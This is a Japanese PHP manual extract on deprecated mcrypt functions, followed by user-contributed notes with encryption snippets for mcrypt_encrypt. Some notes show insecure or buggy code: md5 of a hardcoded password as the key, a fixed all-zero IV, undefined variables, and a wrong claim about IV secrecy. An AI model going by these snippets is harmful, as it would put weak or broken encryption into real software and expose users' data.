mcrypt_enc_get_key_size ( resource $td ) : int

そのアルゴリズムでサポートされる最大キー長をバイト単位で返します。

パラメータ

td

暗号化記述子。

返り値

そのアルゴリズムでサポートされる最大キー長をバイト単位で返します。

User Contributed Notes

There are no user contributed notes for this page.


オープンされたモードの名前を返す

  • ≪ mcrypt_enc_get_key_size
  • mcrypt_enc_get_supported_key_sizes ≫
  • PHP Manual
  • Mcrypt 関数
  • オープンされたモードの名前を返す

mcrypt_enc_get_modes_name

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_modes_name — オープンされたモードの名前を返す

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_enc_get_modes_name ( resource $td ) : string

この関数はモード名を返します。

パラメータ

td

暗号化記述子。

返り値

名前を表す文字列を返します。

例

例1 mcrypt_enc_get_modes_name() の例

<?php
$td = mcrypt_module_open (MCRYPT_CAST_256, '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_modes_name($td). "\n";

$td = mcrypt_module_open ('cast-256', '', 'ecb', '');
echo mcrypt_enc_get_modes_name($td). "\n";
?>

上の例の出力は以下となります。

CFB
ECB

User Contributed Notes

There are no user contributed notes for this page.


オープンされたアルゴリズムでサポートされるキー長を配列にして返す

  • ≪ mcrypt_enc_get_modes_name
  • mcrypt_enc_is_block_algorithm_mode ≫
  • PHP Manual
  • Mcrypt 関数
  • オープンされたアルゴリズムでサポートされるキー長を配列にして返す

mcrypt_enc_get_supported_key_sizes

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_supported_key_sizes — オープンされたアルゴリズムでサポートされるキー長を配列にして返す

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_enc_get_supported_key_sizes ( resource $td ) : array

オープンしたアルゴリズムでサポートするキーの長さを取得します。

パラメータ

td

暗号化記述子。

返り値

暗号化記述子で指定したアルゴリズムでサポートされるキー長を配列と して返します。返された配列が空の場合、1 と mcrypt_enc_get_key_size() の値の間のすべての キー長がアルゴリズムでサポートされます。

例

例1 mcrypt_enc_get_supported_key_sizes() の例

<?php
    $td = mcrypt_module_open('rijndael-256', '', 'ecb', '');
    var_dump(mcrypt_enc_get_supported_key_sizes($td));
?>

上の例の出力は以下となります。

array(3) {
  [0]=>
  int(16)
  [1]=>
  int(24)
  [2]=>
  int(32)
}

User Contributed Notes

There are no user contributed notes for this page.


オープンされたモードの暗号がブロックモードで動作するかどうかを調べる

  • ≪ mcrypt_enc_get_supported_key_sizes
  • mcrypt_enc_is_block_algorithm ≫
  • PHP Manual
  • Mcrypt 関数
  • オープンされたモードの暗号がブロックモードで動作するかどうかを調べる

mcrypt_enc_is_block_algorithm_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_is_block_algorithm_mode — オープンされたモードの暗号がブロックモードで動作するかどうかを調べる

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_enc_is_block_algorithm_mode ( resource $td ) : bool

オープンされているモードがブロックモードで動作するかどうかを調べます (たとえばストリームでは false、cbc や cfb、ofb では true)。

パラメータ

td

暗号化記述子。

返り値

モードがブロックアルゴリズムを使用している場合に true、 その他の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


オープンされたモードの暗号がブロックアルゴリズムであるかどうかを調べる

  • ≪ mcrypt_enc_is_block_algorithm_mode
  • mcrypt_enc_is_block_mode ≫
  • PHP Manual
  • Mcrypt 関数
  • オープンされたモードの暗号がブロックアルゴリズムであるかどうかを調べる

mcrypt_enc_is_block_algorithm

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_is_block_algorithm — オープンされたモードの暗号がブロックアルゴリズムであるかどうかを調べる

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_enc_is_block_algorithm ( resource $td ) : bool

オープンされたモードの暗号がブロックアルゴリズムであるかどうかを調べます。

パラメータ

td

暗号化記述子。

返り値

アルゴリズムがブロックアルゴリズムである場合に true、 ストリームアルゴリズムである場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


オープンされたモードがブロック出力を行うかどうかを調べる

  • ≪ mcrypt_enc_is_block_algorithm
  • mcrypt_enc_self_test ≫
  • PHP Manual
  • Mcrypt 関数
  • オープンされたモードがブロック出力を行うかどうかを調べる

mcrypt_enc_is_block_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_is_block_mode — オープンされたモードがブロック出力を行うかどうかを調べる

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_enc_is_block_mode ( resource $td ) : bool

オープンされたモードがブロック出力を行うかどうかを調べます (例: cbc と ecb の場合に true、cfb と stream の場合に false)。

パラメータ

td

暗号化記述子。

返り値

バイトブロックを出力するモードの場合に true、 バイト出力を行うモードの場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


オープンしたモジュールのセルフテストを実行する

  • ≪ mcrypt_enc_is_block_mode
  • mcrypt_encrypt ≫
  • PHP Manual
  • Mcrypt 関数
  • オープンしたモジュールのセルフテストを実行する

mcrypt_enc_self_test

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_self_test — オープンしたモジュールのセルフテストを実行する

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_enc_self_test ( resource $td ) : int

この関数は、記述子 td で指定したアルゴリズムの セルフテストを実行します。

パラメータ

td

暗号化記述子。

返り値

成功したときは 0 を返し、 失敗したときは負の int を返します。

User Contributed Notes

There are no user contributed notes for this page.


指定したパラメータでプレーンテキストを暗号化する

  • ≪ mcrypt_enc_self_test
  • mcrypt_generic_deinit ≫
  • PHP Manual
  • Mcrypt 関数
  • 指定したパラメータでプレーンテキストを暗号化する

mcrypt_encrypt

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_encrypt — 指定したパラメータでプレーンテキストを暗号化する

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_encrypt ( string $cipher , string $key , string $data , string $mode , string $iv = ? ) : string|false

データを暗号化して、それを返します。

パラメータ

cipher

MCRYPT_暗号名 定数のいずれか、 あるいはアルゴリズム名をあらわす文字列。

key

データを暗号化する際のキー。 指定した暗号化方式に対応していないサイズのキーを渡された場合は、 警告を発して false を返します。

data

指定した cipher および mode で暗号化するデータ。 データの大きさが n * blocksize でない場合、データは、 '\0'で埋められます。

返される暗号化されたテキストは、data で指定したデータの大きさよりも大きくなる可能性があります。

mode

定数 MCRYPT_MODE_モード名、あるいは文字列 "ecb", "cbc", "cfb", "ofb", "nofb" ,"stream" のいずれか。

iv

CBC, CFB, OFB モードおよび STREAM モードのいくつかのアルゴリズムの初期化の際に使用されます。 指定した IV のサイズがそのモードでサポートされていない場合、 あるいは IV を必要とするモードで IV が指定されなかった場合は、 この関数は警告を発して false を返します。

返り値

暗号化されたデータを文字列で返します。失敗した場合に false を返します。

変更履歴

バージョン | 説明
5.6.0 | 無効なサイズの key や iv は、受け付けないようになりました。無効な値を受け取った場合、 mcrypt_encrypt() は警告を発して false を返します。 以前のバージョンでは、キーや IV のサイズが足りない場合は '\0' で埋めて、必要なサイズに合わせていました。

例

例1 mcrypt_encrypt() の例

<?php
    # --- ENCRYPTION ---

    # the key should be random binary, use scrypt, bcrypt or PBKDF2 to
    # convert a string into a key
    # key is specified using hexadecimal
    $key = pack('H*', "bcb04b7e103a0cd8b54763051cef08bc55abe029fdebae5e1d417e2ffb2a00a3");

    # show key size use either 16, 24 or 32 byte keys for AES-128, 192
    # and 256 respectively
    $key_size =  strlen($key);
    echo "Key size: " . $key_size . "\n";

    $plaintext = "This string was AES-256 / CBC / ZeroBytePadding encrypted.";

    # create a random IV to use with CBC encoding
    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

    # creates a cipher text compatible with AES (Rijndael block size = 128)
    # to keep the text confidential
    # only suitable for encoded input that never ends with value 00h
    # (because of default zero padding)
    $ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key,
                                 $plaintext, MCRYPT_MODE_CBC, $iv);

    # prepend the IV for it to be available for decryption
    $ciphertext = $iv . $ciphertext;

    # encode the resulting cipher text so it can be represented by a string
    $ciphertext_base64 = base64_encode($ciphertext);

    echo  $ciphertext_base64 . "\n";

    # === WARNING ===

    # Resulting cipher text has no integrity or authenticity added
    # and is not protected against padding oracle attacks.

    # --- DECRYPTION ---

    $ciphertext_dec = base64_decode($ciphertext_base64);

    # retrieves the IV, iv_size should be created using mcrypt_get_iv_size()
    $iv_dec = substr($ciphertext_dec, 0, $iv_size);

    # retrieves the cipher text (everything except the $iv_size in the front)
    $ciphertext_dec = substr($ciphertext_dec, $iv_size);

    # may remove 00h valued characters from end of plain text
    $plaintext_dec = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key,
                                    $ciphertext_dec, MCRYPT_MODE_CBC, $iv_dec);

    echo  $plaintext_dec . "\n";
?>

上の例の出力は以下となります。

Key size: 32
ENJW8mS2KaJoNB5E5CoSAAu0xARgsR1bdzFWpEn+poYw45q+73az5kYi4j+0haevext1dGrcW8Qi59txfCBV8BBj3bzRP3dFCp3CPQSJ8eU=
This string was AES-256 / CBC / ZeroBytePadding encrypted.

参考

  • mcrypt_decrypt() - Decrypts crypttext with given parameters
  • mcrypt_module_open() - 使用するアルゴリズムおよびモードのモジュールをオープンする

User Contributed Notes

Anonymous 14-Jan-2018 09:54
<?php
# Vernam Cipher (One-time pad)
$k1 = '1.key';
$k2 = '2.key';
$d = 'The quick brown fox jumped over the lazy dog';
VernamCipher::createTestKeyFile($k1, 1024);
copy($k1, $k2);
$c1 = new VernamCipher($k1);
$eD = $c1->encryptWithHMAC($d);
echo 'Encrypted: ', bin2hex($eD);
$c2 = new VernamCipher($k2);
echo PHP_EOL, 'Decrypted: ', $c2->decryptWithHMAC($eD);

class VernamCipher
{
    const DEFAULT_HMAC_ALGO = 'sha3-256';
    const DEFAULT_HMAC_KEY_LENGTH = 16;
    const DEFAULT_HMAC_HASH_LENGTH = 32;
    private $keyFilePath;
    private $keyFileHandler;
    private $deferredFtruncate = false;
    private $deferredFtruncatePos;
    private $hmacAlgo = self::DEFAULT_HMAC_ALGO;
    private $hmacKeyLength = self::DEFAULT_HMAC_KEY_LENGTH;
    private $hmacHashLength = self::DEFAULT_HMAC_HASH_LENGTH;

    function __construct(string $keyFilePath, string $hmacAlgo = self::DEFAULT_HMAC_ALGO, int $hmacKeyLength = self::DEFAULT_HMAC_KEY_LENGTH)
    {
        $this->keyFilePath = $keyFilePath;
        $this->openKeyFile();

        if($hmacAlgo !== self::DEFAULT_HMAC_ALGO) {
            if(in_array($hmacAlgo, hash_algos())) {
                $this->hmacAlgo = $hmacAlgo;
                $this->hmacHashLength = strlen(hash($this->hmacAlgo, '', true));
            }
            else {
                $this->hmacAlgo = self::DEFAULT_HMAC_ALGO;
                $this->hmacHashLength = self::DEFAULT_HMAC_HASH_LENGTH;
            }
        }

        if($hmacKeyLength !== self::DEFAULT_HMAC_KEY_LENGTH) {
            $this->hmacKeyLength = $hmacKeyLength;
        }
    }
    public function encryptWithHMAC(string $data)
    {
        $hmacKey = $this->getBytes($this->hmacKeyLength);
        $encData = $this->encrypt($data);
        $dataHmac = $this->hashHmac($encData, $hmacKey);

        return $dataHmac.$encData;
    }
    public function decryptWithHMAC(string $data)
    {
        $dataLength = strlen($data);

        if($dataLength < $this->hmacHashLength)
            throw new Exception('data length '.$dataLength.' < hmac length '. $this->hmacHashLength);

        $dataHmacRemote = substr($data, 0, $this->hmacHashLength);
        $dataOnly = substr($data, $this->hmacHashLength);

        $hmacKey = $this->getBytes($this->hmacKeyLength, false);
        $dataHmacLocal = $this->hashHmac($dataOnly, $hmacKey);

        if(hash_equals($dataHmacLocal, $dataHmacRemote) === false)
            throw new Exception('Hashes not equals, remote: '.bin2hex($dataHmacRemote).' local:'. bin2hex($dataHmacLocal));

        $this->deferredFtruncate();

        return $this->encrypt($dataOnly);
    }
    public function encrypt(string $data) : string
    {
        $dataLength = strlen($data);
        $bytes = $this->getBytes($dataLength);
        for($i=0;$i<$dataLength;$i++)
            $data{$i} = $data{$i} ^ $bytes{$i};

        return $data;
    }
    public function decrypt(string $data) : string
    {
        return $this->encrypt($data);
    }
    private function hashHmac($data, $key)
    {
        return hash_hmac($this->hmacAlgo, $data, $key, true);
    }
    # Don't use in production. You must use true random number generator.
    public static function createTestKeyFile(string $filePath, int $size)
    {
        file_put_contents($filePath, random_bytes($size));
    }
    private function deferredFtruncate()
    {
        if(!$this->deferredFtruncate)
            return;

        ftruncate($this->keyFileHandler, $this->deferredFtruncatePos);
        $this->deferredFtruncate = false;
    }
    public function getBytes(int $length, $truncateNow = true) : string
    {
        fseek($this->keyFileHandler, 0, SEEK_END);
        $currentPos = ftell($this->keyFileHandler);

        if($currentPos < $length)
            throw new Exception('Not enough key materials, key size: '. $currentPos. ' needed: '.$length);

        fseek($this->keyFileHandler, -$length, SEEK_END);
        $bytes = fread($this->keyFileHandler, $length);

        if($truncateNow)
            ftruncate($this->keyFileHandler, $currentPos - $length);
        else {
            $this->deferredFtruncate = true;
            $this->deferredFtruncatePos = $currentPos - $length;
        }

        return $bytes;
    }
    private function openKeyFile()
    {
        if($this->keyFileHandler)
            return;

        if(($this->keyFileHandler = fopen($this->keyFilePath, 'rb+')) === false)
            throw new Exception('Cant open key file: '.$this->keyFilePath);

        if(!flock($this->keyFileHandler, LOCK_EX | LOCK_NB))
            throw new Exception('Cant lock key file: '.$this->keyFilePath);
    }
}
?>
leilond at hotmail dot com 27-May-2016 03:40
I always use this method to prevent a lot of errors

function encrypt( $string ) {
  $algorithm = 'rijndael-128'; // You can use any of the available
  $key = md5( "mypassword", true); // bynary raw 16 byte dimension.
  $iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC );
  $iv = mcrypt_create_iv( $iv_length, MCRYPT_RAND );
  $encrypted = mcrypt_encrypt( $algorithm, $key, $string, MCRYPT_MODE_CBC, $iv );
  $result = base64_encode( $iv . $encrypted );
  return $result;
}
function decrypt( $string ) {
  $algorithm =  'rijndael-128';
  $key = md5( "mypassword", true );
  $iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC );
  $string = base64_decode( $string );
  $iv = substr( $string, 0, $iv_length );
  $encrypted = substr( $string, $iv_length );
  $result = mcrypt_decrypt( $algoritmo, $key, $encrypted, MCRYPT_MODE_CBC, $iv );
  return $result;
}
scott at paragonie dot com 18-Jul-2015 10:35
If you're writing code to encrypt/encrypt data in 2015, you should use openssl_encrypt() and openssl_decrypt(). The underlying library (libmcrypt) has been abandoned since 2007, and performs far worse than OpenSSL (which leverages AES-NI on modern processors and is cache-timing safe).

Also, MCRYPT_RIJNDAEL_256 is not AES-256, it's a different variant of the Rijndael block cipher. If you want AES-256 in mcrypt, you have to use MCRYPT_RIJNDAEL_128 with a 32-byte key. OpenSSL makes it more obvious which mode you are using (i.e. 'aes-128-cbc' vs 'aes-256-ctr').

OpenSSL also uses PKCS7 padding with CBC mode rather than mcrypt's NULL byte padding. Thus, mcrypt is more likely to make your code vulnerable to padding oracle attacks than OpenSSL.

Finally, if you are not authenticating your ciphertexts (Encrypt Then MAC), you're doing it wrong.

Further reading:

https://paragonie.com/blog/2015/05/using-encryption-and-authentication-correctly

https://paragonie.com/blog/2015/05/if-you-re-typing-word-mcrypt-into-your-code-you-re-doing-it-wrong
your dot brother dot t at hotmail dot com 29-Jan-2015 11:52
The encryption has no authenticity check. It can be achieved with three methods, described in http://en.wikipedia.org/wiki/Authenticated_encryption#Approaches_to_Authenticated_Encryption
Encrypt-then-MAC (EtM), Encrypt-and-MAC (E&M), MAC-then-Encrypt (MtE).

The following is a suggestion for MtE:

<?php
        public static function getMacAlgoBlockSize($algorithm = 'sha1')
        {
            switch($algorithm)
            {
                case 'sha1':
                {
                    return 160;
                }
                default:
                {
                    return false;
                    break;
                }
            }
        }

        public static function decrypt($message, $key, $mac_algorithm = 'sha1',
                                           $enc_algorithm = MCRYPT_RIJNDAEL_256, $enc_mode = MCRYPT_MODE_CBC)
        {
            $message= base64_decode($message);
            $iv_size = mcrypt_get_iv_size($enc_algorithm, $enc_mode);

            $iv_dec = substr($message, 0, $iv_size);
            $message= substr($message, $iv_size);

            $message= mcrypt_decrypt($enc_algorithm, $key, $message, $enc_mode, $iv_dec);

            $mac_block_size = ceil(static::getMacAlgoBlockSize($mac_algorithm)/8);
            $mac_dec = substr($message, 0, $mac_block_size);
            $message= substr($message, $mac_block_size);

            $mac = hash_hmac($mac_algorithm, $message, $key, true);

            if($mac_dec == $mac)
            {
                return $password;
            }
            else
            {
                return false;
            }
        }

        public static function encrypt($message, $key, $mac_algorithm = 'sha1',
                                           $enc_algorithm = MCRYPT_RIJNDAEL_256, $enc_mode = MCRYPT_MODE_CBC)
        {

            $mac = hash_hmac($mac_algorithm, $message, $key, true);
            $mac = substr($mac, 0, ceil(static::getMacAlgoBlockSize($mac_algorithm)/8));
            $message= $mac . $message;

            $iv_size = mcrypt_get_iv_size($enc_algorithm, $enc_mode);
            $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

            $ciphertext = mcrypt_encrypt($enc_algorithm, $key,
                                         $message, $enc_mode, $iv);

            return base64_encode($iv . $ciphertext);
        }
?>
telefoontoestel59 at hotmail dot com 04-Nov-2014 01:19
I tried to implement the mcrypt with rijndael-128. For reference I took the code from example #1 and tried running that first, but on the decryption part came back with the error: "The IV parameter must be as long as the blocksize". After a while i figured out that the generated IV string will not have the same length every run, and is almost never the size of the result of mcrypt_get_iv_size. To work around that, before merging the IV and the encrypted text, I added null padding to match the IV size. When retrieving the IV, I then could use the IV size and rtrim null padding to get the matching IV back.

The altered parts from example #1

<?php
    # --- ENCRYPTION ---
    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

    $ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key,
                                 $plaintext, MCRYPT_MODE_CBC, $iv);

    # Add null padding to match the espected size
    while(strlen($iv) < $iv_size){
        $iv .= "\0";
    }

    # prepend the IV for it to be available for decryption
    $ciphertext = $iv . $ciphertext;
?>

<?php
    # --- DECRYPTION ---
    mcrypt_get_iv_size()
    $iv_dec = rtrim(substr($ciphertext_dec, 0, $iv_size));
?>
gm dot outside+php at gmail dot com 15-Oct-2014 04:52
Please note that the following part of the documentation is no longer true (after commit: http://git.php.net/?p=php-src.git;a=commit;h=a861a3a93d89a50ce58e1ab1abef1eb501f97483):

> key
> The key with which the data will be encrypted. If it's smaller than the required keysize, it is padded with '\0'. It is better not to use ASCII strings for keys.

That commit changed the behaviour to be strict and if the keysize is smaller than the required size a warning will be issued as follows:

Warning: mcrypt_encrypt(): Key of size 10 not supported by this algorithm. Only keys of size 16 supported in script.php on line 5

and the mcrypt_encode() will return failure.
stefan at katic dot me dot rs 15-Jan-2014 10:53
I was trying (and succeeded) to encrypt and decrypt in JAVA, pass it to php, and do it again,without corrupting data when I noticed something interesting. So, my code goes like this:
$data = 'one';
$key = '1234567890123456';

function encrypt($data, $key){
    return base64_encode(
    mcrypt_encrypt(
        MCRYPT_RIJNDAEL_128,
        $key,
        $data,
        MCRYPT_MODE_CBC,
        "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
    )
);
}
function decrypt($data, $key){
    $decode = base64_decode($data);
    return mcrypt_decrypt(
                    MCRYPT_RIJNDAEL_128,
                    $key,
                    $decode,
                    MCRYPT_MODE_CBC,
                    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
            );

}
$encrypted = encrypt($data, $key);
$decrypted= decrypt($encrypted, $key);

//In the beginning, I thought something's wrong, because I did '===' comparison between $decrypted and $data. It didn't work (but later started working, again, dont know why...) So, I dumped both:
var_dump($data);
var_dump($decrypted);
//Results:
string(16) "one"
string(16) "one"
//Clearly, the length of both is 3, not 16. Just wanted to let you know what could happen, and I really don't know if this is a bug...
Thanks,
S.
MadMass 19-Mar-2013 09:42
Note that the IV must be the same for mcrypt_encrypt and mcrypt_decrypt, otherwise you will have corrupted data after decryption.
Scott.a.Herbert at googlemail.com 06-Oct-2012 09:49
It is always better to use a standard encryption cipher's rather than to "roll your own", firstly the standard cipher has been tested by world class crypto-analysis's where as unless your a world class crypto-analysis (and if you are why are you even thinking of rolling your own?!?) you won't have the skills needed to even test it (for example if you just XOR each character with a key, it may look secure (the text will be different) but if you count the number of times a character is repeated you see whatever the letter "E" encrypts to occurs more often then the encrypted "Z" (assuming English language plain text)

Secondly, you may think that the hidden nature of your cipher makes it more secure, but the fact is that your cipher is likely *only* secure because it's secret, if someone what able to break-in to your site and steal your code (but not your key) they maybe able break you encrypted data, if someone broke in and found you where using Blowfish (for example) it wouldn't help them.
Anonymous 12-May-2011 07:03
In the other notes there are some misconceptions about crypto and the IV, especially for CBC mode.

The most important point: Encryption DOES NOT provide any proof of data integrity or authentication WHATSOEVER. If you need to be sure that the data is secret and not tampered with, you need to encrypt THEN use a keyed HMAC.

For CBC mode, the IV DOES NOT need to be secret. It can be sent along with the plaintext. It needs to be UNIQUE and RANDOM. So that every message is encrypted with a different IV.

The best way to generate an IV is to use mcrypt_create_iv().

Keys must be binary, not ASCII. To create a key from a password:

<?php
$password = "MyPassword!1!";
$aes256Key = hash("SHA256", $password, true); //we want a 32 byte binary blob
?>
Anonymous 16-Jan-2011 11:40
I've noticed some people using a-z, A-Z and 0-9 for keys and stating things like "16 characters is a 128-bit key". This isn't true. Using only these characters, you will get at most 6 bits of entropy per chartacter:

log2(26 + 26 + 10) = 5.954196310386876

So you're actually only getting 95 bits of entropy in 16 characters, which is 0.0000000117% of the keyspace you would get if you were using the full range.

In order to get the full entropy from a key using just a-z, A-Z and 0-9 you should multiply your key length by 1.3333 to account for the 2 bits of lost entropy per byte.
Robin Leffmann 09-Mar-2010 05:58
Contrary to what is implied in the mcrypt_encrypt() manual page, as well as the info given regarding the CBC vs CFB modes, mcrypt_encrypt() works just fine for encrypting binary data as well.

A simple example verifies that the decrypted output is binary identical once cut to its original length:

<?php

// 448-bit key (56 bytes) - the only size that mcrypt/php uses for the Blowfish cipher
// (using a smaller key works just fine, as mcrypt appends \0 to reach proper key-size)
$key = 'SADFo92jzVnzSj39IUYGvi6eL8v6RvJH8Cytuiouh547vCytdyUFl76R';

// Blowfish/CBC uses an 8-byte IV
$iv = substr( md5(mt_rand(),true), 0, 8 );

// do 50 encrypt/decrypt operations on some random data, and verify integrity with md5()
for( $i = 0; $i < 50; $i++ )
{
    // create a random, binary string of random length
    $size = mt_rand( 25000, 500000 );
    $c = 0; $data = null;
    while( $c++ * 16 < $size )
        $data .= md5( mt_rand(), true );
    $data = substr( $data, 0, $size );
    $cksum = md5( $data );

    // encrypt using Blowfish/CBC
    $enc = mcrypt_encrypt( MCRYPT_BLOWFISH, $key, $data, MCRYPT_MODE_CBC, $iv );

    echo $size . ' -> ' . strlen( $enc ) . ' -> ';

    // decrypt (using same IV - a must for the CBC mode)
    $dec = mcrypt_decrypt( MCRYPT_BLOWFISH, $key, $enc, MCRYPT_MODE_CBC, $iv );

    // cut the output with substr(), NOT by using rtrim() as is suggested in some of
    // the mcrypt manual pages - this is binary data, not plaintext
    echo ( md5(substr($dec, 0, $size)) == $cksum ? 'ok' : 'bad' ) . PHP_EOL;
}

?>
Anonymous 16-Oct-2007 04:15
I should mention that ECB mode ignores the IV, so it is misleading to show an example using both MCRYPT_MODE_ECB and an IV (the example in the manual shows the same thing).  Also, it's important to know that ECB is useful for random data, but structured data should use a stronger mode like MCRYPT_MODE_CBC

Also, rtrim($decryptedtext, "\0") would be a better option to remove NULL padding than my lazy trim()...
stonecypher at gmail dot com 11-Sep-2006 01:11
Most of the user-written cipher examples here are badly broken, and there are a few cases where the manual says things that are outright incorrect, such as that it's "safe to transmit the initialization vector in plaintext" (this is incorrect: see Ciphers By Ritter, http://www.ciphersbyritter.com/GLOSSARY.HTM#IV ,  for details.)

mcrypt itself is perfectly safe, but correct and therefore safe usage is inobvious.  It is important to use a cryptographic library correctly; a simple usage error, even when it produces results that can be unpacked at the other side, can render a strong algorithm completely useless.

The initialization vector must be permuted with a recoverable noise source (an arbitrary md5 hash is acceptable, since it's just a fake OTP and its origin contents are wholly unimportant.)

Passwords should be remade with a salted one-way hash (md5 is again acceptable even though it's been damaged, since the only thing you could recover from a cracked md5 hash is the source data to generate the password, which is useless.)

It's important to use a sane block mode (OFB is unsafe for almost all algorithms; never use it.  Prefer CBC in all cases except where you need to deal with a degraded signal and cannot retransmit.)

A correct usage example is actually pretty long and needs a lot of explanation, so I developed a safe wrapper library which doesn't constrain usage and which comments itself very heavily.  It's appropriate for use or for learning.  Please see my blog for details on Stone PHP SafeCrypt:

http://blog.sc.tri-bit.com/archives/101
ale_ferrer at yahoo dot com 24-Jul-2006 02:35
Mcript - Dot NET - 3DES problem.

This is a solution for the 3DES algorithm's problem in his interaction with .NET TripleDESCryptoServiceProvider (System.Security.Cryptography), CBC mode,  because the key is completed to 192bits and the text is padded.

So, we has two problems:
           - The key's completion  was posted by "jesse at pctest dot com".
           - The text padding also posted by him, but the completion is a little different. The padding bytes are 0x01 to 0x08 because completed to 8 bytes blocks. If your text have a whole number of 8 bytes blocks, the algorithm add other block with padded bytes (0x08).

This is a function to encrypt a text in a equal form that the Dot NET algorithm:

<?PHP
function encryptNET3DES($key, $vector, $text){
    $td = mcrypt_module_open (MCRYPT_3DES, '', MCRYPT_MODE_CBC, '');

    // Complete the key
    $key_add = 24-strlen($key);
    $key .= substr($key,0,$key_add);

    // Padding the text
    $text_add = strlen($text)%8;
    for($i=$text_add; $i<8; $i++){
        $text .= chr(8-$text_add);
    }

    mcrypt_generic_init ($td, $key, $vector);
    $encrypt64 = mcrypt_generic ($td, $text);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

     // Return the encrypt text in 64 bits code
    return $encrypt64;
}
?>
jesse at pctest dot com 07-Dec-2004 02:43
Solving 3DES incompatibilities with .NET's TripleDESCryptoServiceProvider

mcrypt's 3DES only accepts 192 bit keys, but Microsoft's .NET and many other tools accept both 128 and 192 bit keys.
If your key is too short, mcrypt will 'helpfully' pad null characters onto the end, but .NET refuses to use a key where the last third is all null (this is a Bad Key). This prevents you from emulating mcrypt's "short key" behaviour in .NET.

How to reconcile this? A little DES theory is in order
3DES runs the DES algorithm three times, using each third of your 192 bit key as the 64 bit DES key

Encrypt Key1 -> Decrypt Key2 -> Encrypt Key3

and both .NET and PHP's mcrypt do this the same way.
The problem arises in short key mode on .NET, since 128 bits is only two 64 bit DES keys
The algorithm that they use then is:

Encrypt Key1 -> Decrypt Key2 -> Encrypt Key1

mcrypt does not have this mode of operation natively.
but before you go and start running DES three times yourself, here's a Quick Fix
<?php
$my_key = "12345678abcdefgh"; // a 128 bit (16 byte) key
$my_key .= substr($my_key,0,8); // append the first 8 bytes onto the end
$secret = mcrypt_encrypt(MCRYPT_3DES, $my_key, $data, MCRYPT_MODE_CBC, $iv);  //CBC is the default mode in .NET
?>

And, like magic, it works.

There's one more caveat: Data padding
mcrypt always pads data will the null character
but .NET has two padding modes: "Zeros" and "PKCS7"
Zeros is identical to the mcrypt scheme, but PKCS7 is the default.
PKCS7 isn't much more complex, though:
instead of nulls, it appends the total number of padding bytes (which means, for 3DES, it can be a value from 0x01 to 0x07)
if your plaintext is "ABC", it will be padded into:
0x41 0x42 0x43 0x05 0x05 0x05 0x05 0x05

You can remove these from a decrypted string in PHP by counting the number of times that last character appears, and if it matches it's ordinal value, truncating the string by that many characters:
<?php
    $block = mcrypt_get_block_size('tripledes', 'cbc');
    $packing = ord($text{strlen($text) - 1});
    if($packing and ($packing < $block)){
      for($P = strlen($text) - 1; $P >= strlen($text) - $packing; $P--){
    if(ord($text{$P}) != $packing){
      $packing = 0;
    }
      }
    }
    $text = substr($text,0,strlen($text) - $packing);
?>

And to pad a string that you intend to decrypt with .NET, just add the chr() value of the number of padding bytes:
<?php
    $block = mcrypt_get_block_size('tripledes', 'cbc');
    $len = strlen($dat);
    $padding = $block - ($len % $block);
    $dat .= str_repeat(chr($padding),$padding);
?>

That's all there is to it.
Knowing this, you can encrypt, decrypt, and duplicate exactly any .NET 3DES behaviour in PHP.


暗号化モジュールを終了する

  • ≪ mcrypt_encrypt
  • mcrypt_generic_end ≫
  • PHP Manual
  • Mcrypt 関数
  • 暗号化モジュールを終了する

mcrypt_generic_deinit

(PHP 4 >= 4.0.7, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_generic_deinit — 暗号化モジュールを終了する

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

